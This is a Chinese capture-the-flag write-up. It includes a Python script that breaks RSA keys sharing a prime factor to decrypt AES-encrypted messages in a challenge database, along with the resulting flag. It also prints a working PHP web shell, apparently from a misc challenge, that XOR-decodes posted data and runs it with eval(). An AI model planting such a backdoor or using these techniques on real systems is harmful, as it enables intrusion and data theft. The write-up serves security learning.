vivo-CTF


很多原题

题目

给了个数据库

最开始没读懂题, 读懂了发现这其实这题出的挺好的

思路

模拟了一个真实环境, 黑客脱了一个数据库, 但被加密了

很贴近实战, 比单纯的数学题有意思多了(主要是我不会数学

首先把数据库内容脱出来看一下

sqlite3 enc_chall.db .dump > res

用grep看一下表结构

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE User (
        username TEXT PRIMARY KEY,
        rsa_key BLOB
    );
CREATE TABLE Parameters (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        encrypted_aes_key_for_initiator BLOB,
        encrypted_aes_key_for_peer BLOB,
        iv BLOB
    );
CREATE TABLE Conversation (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        initiator TEXT,
        peer TEXT,
        initial_parameters INTEGER,
        FOREIGN KEY (initiator) REFERENCES User(username),
        FOREIGN KEY (peer) REFERENCES User(username),
        FOREIGN KEY (initial_parameters) REFERENCES Parameters(id),
        UNIQUE(initiator, peer)
    );
CREATE TABLE Message (
        conversation INTEGER,
        timestamp INTEGER,
        from_initiator BOOL,
        next_parameters INTEGER,
        encrypted_message BLOB,
        FOREIGN KEY (conversation) REFERENCES Conversation(id),
        FOREIGN KEY (next_parameters) REFERENCES Parameters(id)
    );
DELETE FROM sqlite_sequence;
COMMIT;

消息被aes加密, 要解密需要aes_key, aes_iv, 而这两者又被rsa加密

rsa可以用共模攻击解出, 通过用户的id来寻找对应数据

exp

#!/usr/bin/env python
import sys
import sqlite3
import itertools
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gmpy2

db = sys.argv[1] if len(sys.argv) > 1 else './enc_chall.db'
cur = (conn := sqlite3.connect(db)).cursor()

cur.execute("SELECT * FROM User;")
user_name = []
user_key = []

for name, key  in cur:
    user_name.append(name)
    user_key.append(RSA.importKey(key))

for i in range(len(user_key)):
    for j in range(i, len(user_key)):
        if i != j:
            tmp = gmpy2.gcd(user_key[i].n, user_key[j].n)
            if tmp != 1:
                p = int(tmp)
                an = user_name[i]
                bn = user_name[j]
                n1 = user_key[i].n
                n2 = user_key[j].n
                q1 = n1 // p
                q2 = n2 // p
                e = 65537
                d1 = int(gmpy2.invert(e, (p-1) * (q1 - 1)))
                d2 = int(gmpy2.invert(e, (p-1) * (q2 - 1)))
                assert n1 % p == n2 % p == 0
                ak = RSA.construct((n1, e, d1))
                bk = RSA.construct((n2, e, d2))
                break

for user, rsa_key in [(an, ak), (bn, bk)]:
    oaep = PKCS1_OAEP.new(rsa_key)
    cur.execute('''
        SELECT
            Conversation.id,
            initiator,
            peer,
            encrypted_aes_key_for_initiator,
            encrypted_aes_key_for_peer,
            iv
        FROM Conversation
        INNER JOIN Parameters
            ON Parameters.id = Conversation.initial_parameters
        WHERE initiator = ? OR peer = ?;
    ''', (user, user))

    # WHERE initiator = ? OR peer = ?;
    for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():
        print(f"{cid}: {initiator} & {peer}")
        attribute = ""
        aes = None
        if initiator == user:
            attribute = "encrypted_aes_key_for_initiator"
            aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)
        else:
            attribute = "encrypted_aes_key_for_peer"
            aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)

        cur.execute('''
        SELECT
            encrypted_message,
            from_initiator,
        ''' + f"{attribute}, " + '''
            iv
        FROM Message
        INNER JOIN Parameters
            ON Parameters.id = next_parameters
        WHERE conversation = ?
        ORDER BY
            timestamp ASC;
        ''', (cid,))
        for message, from_initiator, key, iv in cur.fetchall():
            print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode())
            aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)
        """
        """


conn.close()
# flag{3237a6f9fe1e96155a1d73b4afaf624c}

misc

1.png

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='awesomehaha';
$payloadName='payload';
$key='50ede1a61ee8df71';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

  TOC